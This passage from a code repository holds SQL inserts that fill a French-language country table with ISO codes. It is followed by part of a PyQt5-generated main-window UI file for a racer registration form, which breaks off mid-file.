("GRC",300,"GRÈCE",FALSE); INSERT INTO T_Pays VALUES ("GRD",308,"GRENADE",FALSE); INSERT INTO T_Pays VALUES ("GRL",304,"GROENLAND",FALSE); INSERT INTO T_Pays VALUES ("GTM",320,"GUATEMALA",FALSE); INSERT INTO T_Pays VALUES ("GUF",254,"GUYANE FRANÇAISE",FALSE); INSERT INTO T_Pays VALUES ("GUM",316,"GUAM",FALSE); INSERT INTO T_Pays VALUES ("GUY",328,"GUYANA",FALSE); INSERT INTO T_Pays VALUES ("HKG",344,"HONG KONG",FALSE); INSERT INTO T_Pays VALUES ("HMD",334,"HEARD ET MACDONALD, ÎLES",FALSE); INSERT INTO T_Pays VALUES ("HND",340,"HONDURAS",FALSE); INSERT INTO T_Pays VALUES ("HRV",191,"CROATIE",FALSE); INSERT INTO T_Pays VALUES ("HTI",332,"HAÏTI",FALSE); INSERT INTO T_Pays VALUES ("HUN",348,"HONGRIE",FALSE); INSERT INTO T_Pays VALUES ("IDN",360,"INDONÉSIE",FALSE); INSERT INTO T_Pays VALUES ("IMN",833,"ÎLE DE MAN",FALSE); INSERT INTO T_Pays VALUES ("IND",356,"INDE",FALSE); INSERT INTO T_Pays VALUES ("IOT",86,"OCÉAN INDIEN, TERRITOIRE BRITANNIQUE DE L'",FALSE); INSERT INTO T_Pays VALUES ("IRL",372,"IRLANDE",FALSE); INSERT INTO T_Pays VALUES ("IRN",364,"IRAN, RÉPUBLIQUE ISLAMIQUE D'",FALSE); INSERT INTO T_Pays VALUES ("IRQ",368,"IRAQ",FALSE); INSERT INTO T_Pays VALUES ("ISL",352,"ISLANDE",FALSE); INSERT INTO T_Pays VALUES ("ISR",376,"ISRAËL",FALSE); INSERT INTO T_Pays VALUES ("ITA",380,"ITALIE",TRUE); INSERT INTO T_Pays VALUES ("JAM",388,"JAMAÏQUE",FALSE); INSERT INTO T_Pays VALUES ("JEY",832,"JERSEY",FALSE); INSERT INTO T_Pays VALUES ("JOR",400,"JORDANIE",FALSE); INSERT INTO T_Pays VALUES ("JPN",392,"JAPON",FALSE); INSERT INTO T_Pays VALUES ("KAZ",398,"KAZAKHSTAN",FALSE); INSERT INTO T_Pays VALUES ("KEN",404,"KENYA",FALSE); INSERT INTO T_Pays VALUES ("KGZ",417,"KIRGHIZISTAN",FALSE); INSERT INTO T_Pays VALUES ("KHM",116,"CAMBODGE",FALSE); INSERT INTO T_Pays VALUES ("KIR",296,"KIRIBATI",FALSE); INSERT INTO T_Pays VALUES ("KNA",659,"SAINT-KITTS-ET-NEVIS",FALSE); INSERT INTO T_Pays VALUES ("KOR",410,"CORÉE, RÉPUBLIQUE DE",FALSE); INSERT INTO T_Pays VALUES ("KWT",414,"KOWEÏT",FALSE); INSERT INTO T_Pays VALUES ("LAO",418,"LAO, RÉPUBLIQUE DÉMOCRATIQUE POPULAIRE",FALSE); INSERT INTO T_Pays VALUES ("LBN",422,"LIBAN",FALSE); INSERT INTO T_Pays VALUES ("LBR",430,"LIBÉRIA",FALSE); INSERT INTO T_Pays VALUES ("LBY",434,"LIBYE",FALSE); INSERT INTO T_Pays VALUES ("LCA",662,"SAINTE-LUCIE",FALSE); INSERT INTO T_Pays VALUES ("LIE",438,"LIECHTENSTEIN",FALSE); INSERT INTO T_Pays VALUES ("LKA",144,"SRI LANKA",FALSE); INSERT INTO T_Pays VALUES ("LSO",426,"LESOTHO",FALSE); INSERT INTO T_Pays VALUES ("LTU",440,"LITUANIE",FALSE); INSERT INTO T_Pays VALUES ("LUX",442,"LUXEMBOURG",FALSE); INSERT INTO T_Pays VALUES ("LVA",428,"LETTONIE",FALSE); INSERT INTO T_Pays VALUES ("MAC",446,"MACAO",FALSE); INSERT INTO T_Pays VALUES ("MAF",663,"SAINT-MARTIN (PARTIE FRANÇAISE)",FALSE); INSERT INTO T_Pays VALUES ("MAR",504,"MAROC",FALSE); INSERT INTO T_Pays VALUES ("MCO",492,"MONACO",FALSE); INSERT INTO T_Pays VALUES ("MDA",498,"MOLDOVA",FALSE); INSERT INTO T_Pays VALUES ("MDG",450,"MADAGASCAR",FALSE); INSERT INTO T_Pays VALUES ("MDV",462,"MALDIVES",FALSE); INSERT INTO T_Pays VALUES ("MEX",484,"MEXIQUE",FALSE); INSERT INTO T_Pays VALUES ("MHL",584,"MARSHALL, ÎLES",FALSE); INSERT INTO T_Pays VALUES ("MKD",807,"MACÉDOINE, L'EX-RÉPUBLIQUE YOUGOSLAVE DE",FALSE); INSERT INTO T_Pays VALUES ("MLI",466,"MALI",FALSE); INSERT INTO T_Pays VALUES ("MLT",470,"MALTE",FALSE); INSERT INTO T_Pays VALUES ("MMR",104,"MYANMAR",FALSE); INSERT INTO T_Pays VALUES ("MNE",499,"MONTÉNÉGRO",FALSE); INSERT INTO T_Pays VALUES ("MNG",496,"MONGOLIE",FALSE); INSERT INTO T_Pays VALUES ("MNP",580,"MARIANNES DU NORD, ÎLES",FALSE); INSERT INTO T_Pays VALUES ("MOZ",508,"MOZAMBIQUE",FALSE); INSERT INTO T_Pays VALUES ("MRT",478,"MAURITANIE",FALSE); INSERT INTO T_Pays VALUES ("MSR",500,"MONTSERRAT",FALSE); INSERT INTO T_Pays VALUES ("MTQ",474,"MARTINIQUE",FALSE); INSERT INTO T_Pays VALUES ("MUS",480,"MAURICE",FALSE); INSERT INTO T_Pays VALUES ("MWI",454,"MALAWI",FALSE); INSERT INTO T_Pays VALUES ("MYS",458,"MALAISIE",FALSE); INSERT INTO T_Pays VALUES ("MYT",175,"MAYOTTE",FALSE); INSERT INTO T_Pays VALUES ("NAM",516,"NAMIBIE",FALSE); INSERT INTO T_Pays VALUES ("NCL",540,"NOUVELLE-CALÉDONIE",FALSE); INSERT INTO T_Pays VALUES ("NER",562,"NIGER",FALSE); INSERT INTO T_Pays VALUES ("NFK",574,"NORFOLK, ÎLE",FALSE); INSERT INTO T_Pays VALUES ("NGA",566,"NIGÉRIA",FALSE); INSERT INTO T_Pays VALUES ("NIC",558,"NICARAGUA",FALSE); INSERT INTO T_Pays VALUES ("NIU",570,"NIUÉ",FALSE); INSERT INTO T_Pays VALUES ("NLD",528,"PAYS-BAS",FALSE); INSERT INTO T_Pays VALUES ("NOR",578,"NORVÈGE",FALSE); INSERT INTO T_Pays VALUES ("NPL",524,"NÉPAL",FALSE); INSERT INTO T_Pays VALUES ("NRU",520,"NAURU",FALSE); INSERT INTO T_Pays VALUES ("NZL",554,"NOUVELLE-ZÉLANDE",FALSE); INSERT INTO T_Pays VALUES ("OMN",512,"OMAN",FALSE); INSERT INTO T_Pays VALUES ("PAK",586,"PAKISTAN",FALSE); INSERT INTO T_Pays VALUES ("PAN",591,"PANAMA",FALSE); INSERT INTO T_Pays VALUES ("PCN",612,"PITCAIRN",FALSE); INSERT INTO T_Pays VALUES ("PER",604,"PÉROU",FALSE); INSERT INTO T_Pays VALUES ("PHL",608,"PHILIPPINES",FALSE); INSERT INTO T_Pays VALUES ("PLW",585,"PALAOS",FALSE); INSERT INTO T_Pays VALUES ("PNG",598,"PAPOUASIE-NOUVELLE-GUINÉE",FALSE); INSERT INTO T_Pays VALUES ("POL",616,"POLOGNE",FALSE); INSERT INTO T_Pays VALUES ("PRI",630,"PORTO RICO",FALSE); INSERT INTO T_Pays VALUES ("PRK",408,"CORÉE, RÉPUBLIQUE POPULAIRE DÉMOCRATIQUE DE",FALSE); INSERT INTO T_Pays VALUES ("PRT",620,"PORTUGAL",FALSE); INSERT INTO T_Pays VALUES ("PRY",600,"PARAGUAY",FALSE); INSERT INTO T_Pays VALUES ("PSE",275,"ÉTAT DE PALESTINE",FALSE); INSERT INTO T_Pays VALUES ("PYF",258,"POLYNÉSIE FRANÇAISE",FALSE); INSERT INTO T_Pays VALUES ("QAT",634,"QATAR",FALSE); INSERT INTO T_Pays VALUES ("REU",638,"RÉUNION",FALSE); INSERT INTO T_Pays VALUES ("ROU",642,"ROUMANIE",FALSE); INSERT INTO T_Pays VALUES ("RUS",643,"RUSSIE, FÉDÉRATION DE",FALSE); INSERT INTO T_Pays VALUES ("RWA",646,"RWANDA",FALSE); INSERT INTO T_Pays VALUES ("SAU",682,"ARABIE SAOUDITE",FALSE); INSERT INTO T_Pays VALUES ("SDN",729,"SOUDAN",FALSE); INSERT INTO T_Pays VALUES ("SEN",686,"SÉNÉGAL",FALSE); INSERT INTO T_Pays VALUES ("SGP",702,"SINGAPOUR",FALSE); INSERT INTO T_Pays VALUES ("SGS",239,"GÉORGIE DU SUD ET LES ÎLES SANDWICH DU SUD",FALSE); INSERT INTO T_Pays VALUES ("SHN",654,"SAINTE-HÉLÈNE, ASCENSION ET TRISTAN DA CUNHA",FALSE); INSERT INTO T_Pays VALUES ("SJM",744,"SVALBARD ET ÎLE JAN MAYEN",FALSE); INSERT INTO T_Pays VALUES ("SLB",90,"SALOMON, ÎLES",FALSE); INSERT INTO T_Pays VALUES ("SLE",694,"SIERRA LEONE",FALSE); INSERT INTO T_Pays VALUES ("SLV",222,"EL SALVADOR",FALSE); INSERT INTO T_Pays VALUES ("SMR",674,"SAINT-MARIN",FALSE); INSERT INTO T_Pays VALUES ("SOM",706,"SOMALIE",FALSE); INSERT INTO T_Pays VALUES ("SPM",666,"SAINT-PIERRE-ET-MIQUELON",FALSE); INSERT INTO T_Pays VALUES ("SRB",688,"SERBIE",FALSE); INSERT INTO T_Pays VALUES ("SSD",728,"SOUDAN DU SUD",FALSE); INSERT INTO T_Pays VALUES ("STP",678,"SAO TOMÉ-ET-PRINCIPE",FALSE); INSERT INTO T_Pays VALUES ("SUR",740,"SURINAME",FALSE); INSERT INTO T_Pays VALUES ("SVK",703,"SLOVAQUIE",FALSE); INSERT INTO T_Pays VALUES ("SVN",705,"SLOVÉNIE",FALSE); INSERT INTO T_Pays VALUES ("SWE",752,"SUÈDE",FALSE); INSERT INTO T_Pays VALUES ("SWZ",748,"SWAZILAND",FALSE); INSERT INTO T_Pays VALUES ("SXM",534,"SAINT-MARTIN (PARTIE NÉERLANDAISE)",FALSE); INSERT INTO T_Pays VALUES ("SYC",690,"SEYCHELLES",FALSE); INSERT INTO T_Pays VALUES ("SYR",760,"SYRIENNE, RÉPUBLIQUE ARABE",FALSE); INSERT INTO T_Pays VALUES ("TCA",796,"TURKS ET CAÏQUES, ÎLES",FALSE); INSERT INTO T_Pays VALUES ("TCD",148,"TCHAD",FALSE); INSERT INTO T_Pays VALUES ("TGO",768,"TOGO",FALSE); INSERT INTO T_Pays VALUES ("THA",764,"THAÏLANDE",FALSE); INSERT INTO T_Pays VALUES ("TJK",762,"TADJIKISTAN",FALSE); INSERT INTO T_Pays VALUES ("TKL",772,"TOKELAU",FALSE); INSERT INTO T_Pays VALUES ("TKM",795,"TURKMÉNISTAN",FALSE); INSERT INTO T_Pays VALUES ("TLS",626,"TIMOR-LESTE",FALSE); INSERT INTO T_Pays VALUES ("TON",776,"TONGA",FALSE); INSERT INTO T_Pays VALUES ("TTO",780,"TRINITÉ-ET-TOBAGO",FALSE); INSERT INTO T_Pays VALUES ("TUN",788,"TUNISIE",FALSE); INSERT INTO T_Pays VALUES ("TUR",792,"TURQUIE",FALSE); INSERT INTO T_Pays VALUES ("TUV",798,"TUVALU",FALSE); INSERT INTO T_Pays VALUES ("TWN",158,"TAÏWAN, PROVINCE DE CHINE",FALSE); INSERT INTO T_Pays VALUES ("TZA",834,"TANZANIE, RÉPUBLIQUE UNIE DE",FALSE); INSERT INTO T_Pays VALUES ("UGA",800,"OUGANDA",FALSE); INSERT INTO T_Pays VALUES ("UKR",804,"UKRAINE",FALSE); INSERT INTO T_Pays VALUES ("UMI",581,"ÎLES MINEURES ÉLOIGNÉES DES ÉTATS-UNIS",FALSE); INSERT INTO T_Pays VALUES ("URY",858,"URUGUAY",FALSE); INSERT INTO T_Pays VALUES ("USA",840,"ÉTATS-UNIS",FALSE); INSERT INTO T_Pays VALUES ("UZB",860,"OUZBÉKISTAN",FALSE); INSERT INTO T_Pays VALUES ("VAT",336,"SAINT-SIÈGE (ÉTAT DE LA CITÉ DU VATICAN)",FALSE); INSERT INTO T_Pays VALUES ("VCT",670,"SAINT-VINCENT-ET-LES-GRENADINES",FALSE); INSERT INTO T_Pays VALUES ("VEN",862,"VENEZUELA, RÉPUBLIQUE BOLIVARIENNE DU",FALSE); INSERT INTO T_Pays VALUES ("VGB",92,"ÎLES VIERGES BRITANNIQUES",FALSE); INSERT INTO T_Pays VALUES ("VIR",850,"ÎLES VIERGES DES ÉTATS-UNIS",FALSE); INSERT INTO T_Pays VALUES ("VNM",704,"VIET NAM",FALSE); INSERT INTO T_Pays VALUES ("VUT",548,"VANUATU",FALSE); INSERT INTO T_Pays VALUES ("WLF",876,"WALLIS-ET-FUTUNA",FALSE); INSERT INTO T_Pays VALUES ("WSM",882,"SAMOA",FALSE); INSERT INTO T_Pays VALUES ("YEM",887,"YÉMEN",FALSE); INSERT INTO T_Pays VALUES ("ZAF",710,"AFRIQUE DU SUD",FALSE); INSERT INTO T_Pays VALUES ("ZMB",894,"ZAMBIE",FALSE); INSERT INTO T_Pays VALUES ("ZWE",716,"ZIMBABWE",FALSE); <file_sep>/gui/Ui_MainWindow.py # -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'defGui/MainWindow.ui' # # Created by: PyQt5 UI code generator 5.7 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(800, 600) MainWindow.setMinimumSize(QtCore.QSize(800, 600)) MainWindow.setMaximumSize(QtCore.QSize(800, 600)) MainWindow.setLocale(QtCore.QLocale(QtCore.QLocale.French, QtCore.QLocale.Switzerland)) self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName("centralwidget") self.Tab_Container = QtWidgets.QTabWidget(self.centralwidget) self.Tab_Container.setGeometry(QtCore.QRect(0, 0, 800, 560)) self.Tab_Container.setMinimumSize(QtCore.QSize(800, 260)) self.Tab_Container.setMaximumSize(QtCore.QSize(800, 560)) self.Tab_Container.setToolTip("") self.Tab_Container.setStatusTip("") self.Tab_Container.setAccessibleName("") self.Tab_Container.setAccessibleDescription("") self.Tab_Container.setObjectName("Tab_Container") self.T_Racer = QtWidgets.QWidget() self.T_Racer.setToolTip("") self.T_Racer.setAccessibleName("") self.T_Racer.setObjectName("T_Racer") self.scrollArea = QtWidgets.QScrollArea(self.T_Racer) self.scrollArea.setGeometry(QtCore.QRect(0, 0, 261, 531)) self.scrollArea.setWidgetResizable(True) self.scrollArea.setObjectName("scrollArea") self.scrollAreaWidgetContents = QtWidgets.QWidget() self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 259, 529)) self.scrollAreaWidgetContents.setObjectName("scrollAreaWidgetContents") self.L_racerlist = QtWidgets.QListWidget(self.scrollAreaWidgetContents) self.L_racerlist.setGeometry(QtCore.QRect(0, 0, 256, 491)) font = QtGui.QFont() font.setFamily("Bitstream Charter") font.setPointSize(10) font.setBold(False) font.setItalic(False) font.setWeight(50) font.setKerning(False) self.L_racerlist.setFont(font) self.L_racerlist.setMouseTracking(True) self.L_racerlist.setAcceptDrops(True) self.L_racerlist.setStyleSheet("font: 10pt \"Bitstream Charter\";") self.L_racerlist.setInputMethodHints(QtCore.Qt.ImhPreferLatin) self.L_racerlist.setDefaultDropAction(QtCore.Qt.CopyAction) self.L_racerlist.setProperty("isWrapping", False) self.L_racerlist.setViewMode(QtWidgets.QListView.ListMode) self.L_racerlist.setModelColumn(0) self.L_racerlist.setObjectName("L_racerlist") self.gridLayoutWidget = QtWidgets.QWidget(self.scrollAreaWidgetContents) self.gridLayoutWidget.setGeometry(QtCore.QRect(0, 490, 261, 41)) self.gridLayoutWidget.setObjectName("gridLayoutWidget") self.gridLayout = QtWidgets.QGridLayout(self.gridLayoutWidget) self.gridLayout.setContentsMargins(6, 0, 6, 0) self.gridLayout.setHorizontalSpacing(4) self.gridLayout.setVerticalSpacing(0) self.gridLayout.setObjectName("gridLayout") self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName("horizontalLayout") self.label_2 = QtWidgets.QLabel(self.gridLayoutWidget) self.label_2.setEnabled(True) self.label_2.setMaximumSize(QtCore.QSize(80, 60)) font = QtGui.QFont() font.setPointSize(10) font.setBold(False) font.setWeight(50) font.setKerning(True) self.label_2.setFont(font) self.label_2.setToolTip("") self.label_2.setStatusTip("") self.label_2.setAccessibleName("") self.label_2.setAccessibleDescription("") self.label_2.setLayoutDirection(QtCore.Qt.RightToLeft) self.label_2.setObjectName("label_2") self.horizontalLayout.addWidget(self.label_2) self.findNumber = QtWidgets.QLineEdit(self.gridLayoutWidget) self.findNumber.setMaximumSize(QtCore.QSize(100, 60)) font = QtGui.QFont() font.setKerning(True) self.findNumber.setFont(font) self.findNumber.setMouseTracking(True) self.findNumber.setFocusPolicy(QtCore.Qt.ClickFocus) self.findNumber.setAcceptDrops(False) self.findNumber.setToolTip("") self.findNumber.setStatusTip("") self.findNumber.setAccessibleName("") self.findNumber.setAccessibleDescription("") self.findNumber.setInputMethodHints(QtCore.Qt.ImhDigitsOnly) self.findNumber.setInputMask("") self.findNumber.setText("") self.findNumber.setMaxLength(5) self.findNumber.setPlaceholderText("") self.findNumber.setObjectName("findNumber") self.horizontalLayout.addWidget(self.findNumber) self.gridLayout.addLayout(self.horizontalLayout, 0, 2, 1, 1) self.RB_Add = QtWidgets.QToolButton(self.gridLayoutWidget) self.RB_Add.setToolTip("") self.RB_Add.setStatusTip("") self.RB_Add.setAccessibleName("") self.RB_Add.setAccessibleDescription("") self.RB_Add.setShortcut("") self.RB_Add.setObjectName("RB_Add") self.gridLayout.addWidget(self.RB_Add, 0, 0, 1, 1) self.RB_Del = QtWidgets.QToolButton(self.gridLayoutWidget) self.RB_Del.setObjectName("RB_Del") self.gridLayout.addWidget(self.RB_Del, 0, 1, 1, 1) self.scrollArea.setWidget(self.scrollAreaWidgetContents) self.formLayoutWidget = QtWidgets.QWidget(self.T_Racer) self.formLayoutWidget.setGeometry(QtCore.QRect(260, 0, 800, 521)) self.formLayoutWidget.setObjectName("formLayoutWidget") self.formLayout = QtWidgets.QFormLayout(self.formLayoutWidget) self.formLayout.setFieldGrowthPolicy(QtWidgets.QFormLayout.FieldsStayAtSizeHint) self.formLayout.setRowWrapPolicy(QtWidgets.QFormLayout.DontWrapRows) self.formLayout.setContentsMargins(0, 0, 0, 0) self.formLayout.setVerticalSpacing(2) self.formLayout.setObjectName("formLayout") self.label = QtWidgets.QLabel(self.formLayoutWidget) self.label.setObjectName("label") self.formLayout.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label) self.R_lastname = QtWidgets.QLineEdit(self.formLayoutWidget) self.R_lastname.setMinimumSize(QtCore.QSize(420, 0)) self.R_lastname.setText("") self.R_lastname.setObjectName("R_lastname") self.formLayout.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.R_lastname) self.label_6 = QtWidgets.QLabel(self.formLayoutWidget) self.label_6.setObjectName("label_6") self.formLayout.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_6) self.R_firstname = QtWidgets.QLineEdit(self.formLayoutWidget) self.R_firstname.setMinimumSize(QtCore.QSize(420, 0)) self.R_firstname.setText("") self.R_firstname.setObjectName("R_firstname") self.formLayout.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.R_firstname) self.label_13 = QtWidgets.QLabel(self.formLayoutWidget) self.label_13.setObjectName("label_13") self.formLayout.setWidget(2, QtWidgets.QFormLayout.LabelRole, self.label_13) self.R_address = QtWidgets.QTextEdit(self.formLayoutWidget) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.R_address.sizePolicy().hasHeightForWidth()) self.R_address.setSizePolicy(sizePolicy) self.R_address.setMinimumSize(QtCore.QSize(420, 40)) self.R_address.setBaseSize(QtCore.QSize(420, 40)) self.R_address.setToolTip("") self.R_address.setStatusTip("") self.R_address.setAccessibleName("") self.R_address.setAccessibleDescription("") self.R_address.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn) self.R_address.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) self.R_address.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) self.R_address.setDocumentTitle("") self.R_address.setHtml("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n" "<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n" "p, li { white-space: pre-wrap; }\n" "</style></head><body style=\" font-family:\'DejaVu Sans\'; font-size:10pt; font-weight:400; font-style:normal;\">\n" "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p></body></html>") self.R_address.setAcceptRichText(False) self.R_address.setPlaceholderText("") self.R_address.setProperty("inputMask", "") self.R_address.setProperty("text", "R_Address") self.R_address.setObjectName("R_address") self.formLayout.setWidget(2, QtWidgets.QFormLayout.FieldRole, self.R_address) self.label_10 = QtWidgets.QLabel(self.formLayoutWidget) self.label_10.setObjectName("label_10") self.formLayout.setWidget(4, QtWidgets.QFormLayout.LabelRole, self.label_10) self.horizontalLayout_2 = QtWidgets.QHBoxLayout() self.horizontalLayout_2.setContentsMargins(-1, 0, -1, 0) self.horizontalLayout_2.setSpacing(2) self.horizontalLayout_2.setObjectName("horizontalLayout_2") self.R_Npa = QtWidgets.QLineEdit(self.formLayoutWidget) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.R_Npa.sizePolicy().hasHeightForWidth()) self.R_Npa.setSizePolicy(sizePolicy) self.R_Npa.setToolTip("") self.R_Npa.setStatusTip("") self.R_Npa.setAccessibleName("") self.R_Npa.setAccessibleDescription("") self.R_Npa.setInputMask("") self.R_Npa.setText("") self.R_Npa.setMaxLength(9) self.R_Npa.setObjectName("R_Npa") self.horizontalLayout_2.addWidget(self.R_Npa) self.R_City = QtWidgets.QLineEdit(self.formLayoutWidget) self.R_City.setMinimumSize(QtCore.QSize(290, 0)) self.R_City.setText("") self.R_City.setObjectName("R_City") self.horizontalLayout_2.addWidget(self.R_City) self.formLayout.setLayout(4, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_2) self.label_14 = QtWidgets.QLabel(self.formLayoutWidget) self.label_14.setObjectName("label_14") self.formLayout.setWidget(9, QtWidgets.QFormLayout.LabelRole, self.label_14) self.R_Pays = QtWidgets.QComboBox(self.formLayoutWidget) self.R_Pays.setObjectName("R_Pays") self.formLayout.setWidget(9, QtWidgets.QFormLayout.FieldRole, self.R_Pays) self.label_12 = QtWidgets.QLabel(self.formLayoutWidget) self.label_12.setObjectName("label_12") self.formLayout.setWidget(12, QtWidgets.QFormLayout.LabelRole, self.label_12) self.R_date = QtWidgets.QDateEdit(self.formLayoutWidget) self.R_date.setInputMethodHints(QtCore.Qt.ImhDate|QtCore.Qt.ImhPreferNumbers) self.R_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) self.R_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) self.R_date.setCalendarPopup(True) self.R_date.setObjectName("R_date") self.formLayout.setWidget(12, QtWidgets.QFormLayout.FieldRole, self.R_date) self.label_15 = QtWidgets.QLabel(self.formLayoutWidget) self.label_15.setObjectName("label_15") self.formLayout.setWidget(14, QtWidgets.QFormLayout.LabelRole, self.label_15) self.horizontalLayout_3 = QtWidgets.QHBoxLayout() self.horizontalLayout_3.setContentsMargins(6, -1, 6, -1) self.horizontalLayout_3.setSpacing(6) self.horizontalLayout_3.setObjectName("horizontalLayout_3") self.label_16 = QtWidgets.QLabel(self.formLayoutWidget) self.label_16.setObjectName("label_16") self.horizontalLayout_3.addWidget(self.label_16) self.R_telephone = QtWidgets.QLineEdit(self.formLayoutWidget) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.R_telephone.sizePolicy().hasHeightForWidth()) self.R_telephone.setSizePolicy(sizePolicy) self.R_telephone.setMouseTracking(True) self.R_telephone.setToolTip("") self.R_telephone.setStatusTip("") self.R_telephone.setAccessibleName("") self.R_telephone.setAccessibleDescription("") self.R_telephone.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) self.R_telephone.setText("+// ") self.R_telephone.setPlaceholderText("") self.R_telephone.setObjectName("R_telephone") self.horizontalLayout_3.addWidget(self.R_telephone) self.label_17 = QtWidgets.QLabel(self.formLayoutWidget) self.label_17.setObjectName("label_17") self.horizontalLayout_3.addWidget(self.label_17) self.R_Urgence = QtWidgets.QLineEdit(self.formLayoutWidget) self.R_Urgence.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhFormattedNumbersOnly) self.R_Urgence.setInputMask("+##/####/### ####") self.R_Urgence.setText("+// ") self.R_Urgence.setObjectName("R_Urgence") self.horizontalLayout_3.addWidget(self.R_Urgence) self.formLayout.setLayout(14, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_3) self.label_3 = QtWidgets.QLabel(self.formLayoutWidget) self.label_3.setObjectName("label_3") self.formLayout.setWidget(16, QtWidgets.QFormLayout.LabelRole, self.label_3) self.R_EMail = QtWidgets.QLineEdit(self.formLayoutWidget) self.R_EMail.setMinimumSize(QtCore.QSize(420, 0)) self.R_EMail.setToolTip("") self.R_EMail.setStatusTip("") self.R_EMail.setAccessibleName("") self.R_EMail.setAccessibleDescription("") self.R_EMail.setInputMethodHints(QtCore.Qt.ImhEmailCharactersOnly) self.R_EMail.setInputMask("") self.R_EMail.setText("") self.R_EMail.setPlaceholderText("") self.R_EMail.setObjectName("R_EMail") self.formLayout.setWidget(16, QtWidgets.QFormLayout.FieldRole, self.R_EMail) self.label_11 = QtWidgets.QLabel(self.formLayoutWidget) self.label_11.setObjectName("label_11") self.formLayout.setWidget(19, QtWidgets.QFormLayout.LabelRole, self.label_11) self.R_brandMenu = QtWidgets.QComboBox(self.formLayoutWidget) self.R_brandMenu.setToolTip("") self.R_brandMenu.setStatusTip("") self.R_brandMenu.setAccessibleName("") self.R_brandMenu.setAccessibleDescription("") self.R_brandMenu.setEditable(False) self.R_brandMenu.setCurrentText("") self.R_brandMenu.setObjectName("R_brandMenu") self.formLayout.setWidget(19, QtWidgets.QFormLayout.FieldRole, self.R_brandMenu) self.label_8 = QtWidgets.QLabel(self.formLayoutWidget) self.label_8.setObjectName("label_8") self.formLayout.setWidget(22, QtWidgets.QFormLayout.LabelRole, self.label_8) self.R_number = QtWidgets.QLineEdit(self.formLayoutWidget) self.R_number.setToolTip("") self.R_number.setStatusTip("") self.R_number.setAccessibleName("") self.R_number.setAccessibleDescription("") self.R_number.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly) self.R_number.setText("") self.R_number.setMaxLength(5) self.R_number.setObjectName("R_number") self.formLayout.setWidget(22, QtWidgets.QFormLayout.FieldRole, self.R_number) self.label_4 = QtWidgets.QLabel(self.formLayoutWidget) self.label_4.setObjectName("label_4") self.formLayout.setWidget(23, QtWidgets.QFormLayout.LabelRole, self.label_4) self.R_licences = QtWidgets.QLineEdit(self.formLayoutWidget) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.R_licences.sizePolicy().hasHeightForWidth()) self.R_licences.setSizePolicy(sizePolicy) self.R_licences.setMinimumSize(QtCore.QSize(420, 0)) self.R_licences.setToolTip("") self.R_licences.setStatusTip("") self.R_licences.setAccessibleName("") self.R_licences.setAccessibleDescription("") self.R_licences.setInputMethodHints(QtCore.Qt.ImhMultiLine) self.R_licences.setInputMask("") self.R_licences.setText("") self.R_licences.setObjectName("R_licences") self.formLayout.setWidget(23, QtWidgets.QFormLayout.FieldRole, self.R_licences) spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.formLayout.setItem(25, QtWidgets.QFormLayout.SpanningRole, spacerItem) self.label_7 = QtWidgets.QLabel(self.formLayoutWidget) self.label_7.setObjectName("label_7") self.formLayout.setWidget(27, QtWidgets.QFormLayout.LabelRole, self.label_7) self.R_transponder = QtWidgets.QLineEdit(self.formLayoutWidget) self.R_transponder.setToolTip("") self.R_transponder.setStatusTip("") self.R_transponder.setAccessibleName("") self.R_transponder.setAccessibleDescription("") self.R_transponder.setInputMethodHints(QtCore.Qt.ImhDialableCharactersOnly|QtCore.Qt.ImhDigitsOnly|QtCore.Qt.ImhFormattedNumbersOnly) self.R_transponder.setText("") self.R_transponder.setMaxLength(12) self.R_transponder.setObjectName("R_transponder") self.formLayout.setWidget(27, QtWidgets.QFormLayout.FieldRole, self.R_transponder) self.Tab_Container.addTab(self.T_Racer, "") self.T_Category = QtWidgets.QWidget() self.T_Category.setObjectName("T_Category") self.Tab_Container.addTab(self.T_Category, "") self.T_Racer_Race = QtWidgets.QWidget() 